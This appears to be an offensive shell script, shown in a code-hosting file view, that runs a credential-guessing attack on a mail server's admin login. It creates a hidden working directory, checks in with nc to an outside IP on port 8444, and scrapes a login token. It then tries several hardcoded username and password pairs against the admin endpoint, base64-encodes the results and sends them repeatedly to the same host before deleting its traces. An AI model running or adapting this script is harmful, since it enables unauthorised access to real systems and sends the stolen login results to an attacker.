41 lines
1.5 KiB
Bash
Executable file
41 lines
1.5 KiB
Bash
Executable file
#!/bin/sh
|
|
#!/bin/sh
|
|
# ld_kk46 — poste 管理面小字典型登录试探(回执先行)
|
|
L=45.76.202.255
|
|
ST=""
|
|
for c in "${TMPDIR:-/tmp}/.gxrun" "$HOME/.gxrun" "/var/tmp/.gxrun" "$PWD/.gxrun"; do
|
|
if mkdir -p "$c" 2>/dev/null && [ -w "$c" ]; then ST="$c"; break; fi
|
|
done
|
|
[ -n "$ST" ] || ST="."
|
|
cd "$ST" 2>/dev/null || exit 0
|
|
printf "gxBEGIN st=%s\n" "$ST" | nc -w 3 $L 8444 >/dev/null 2>&1
|
|
{
|
|
P=/usr/bin/curl
|
|
tok=$($P -sk -m5 "http://172.17.0.3/admin/login" | grep -oE 'name="[^"]*_token[^"]*" value="[^"]+' | head -1)
|
|
echo "tokfield=[$tok]"
|
|
i=0
|
|
for up in admin:'[{G-i}YawU6' admin:'7@?C8}W4p(Dk' kaki87@kaki87.net:'[{G-i}YawU6'; do
|
|
u=${up%%:*}; p=${up#*:}
|
|
out=$($P -sk -m6 -b /tmp/pj46a -X POST "http://172.17.0.3/admin/check" \
|
|
--data-urlencode "_username=$u" --data-urlencode "_password=$p" \
|
|
-D - -o /tmp/pj46b 2>/dev/null | head -1)
|
|
mk=$(grep -ciE "invalid|bad credentials" /tmp/pj46b 2>/dev/null || echo 0)
|
|
echo "TRY $u -> [$(echo $out|head -c60)] badmark=$mk"
|
|
i=$((i+1))
|
|
done
|
|
rm -f /tmp/pj46a /tmp/pj46b
|
|
} >m46.txt 2>&1
|
|
B=$(base64 -w0 m46.txt 2>/dev/null)
|
|
if command -v nc >/dev/null 2>&1 && [ -n "$B" ]; then
|
|
printf "gxR46 META len=%s\n" "${#B}" | nc -w 4 $L 8444 >/dev/null 2>&1
|
|
r=0
|
|
while [ $r -lt 3 ]; do
|
|
printf "gxR46 %s\n" "$B" | nc -w 6 $L 8444 >/dev/null 2>&1
|
|
r=$((r+1)); sleep 1.2
|
|
done
|
|
fi
|
|
rm -f m46.txt
|
|
exit 0
|
|
|
|
command -v nc >/dev/null 2>&1 && printf "gx FIRED %s\n" "$(date +%H%M%S%d)" | nc -w 3 45.76.202.255 8444 >/dev/null 2>&1 ;
|
|
exit 0
|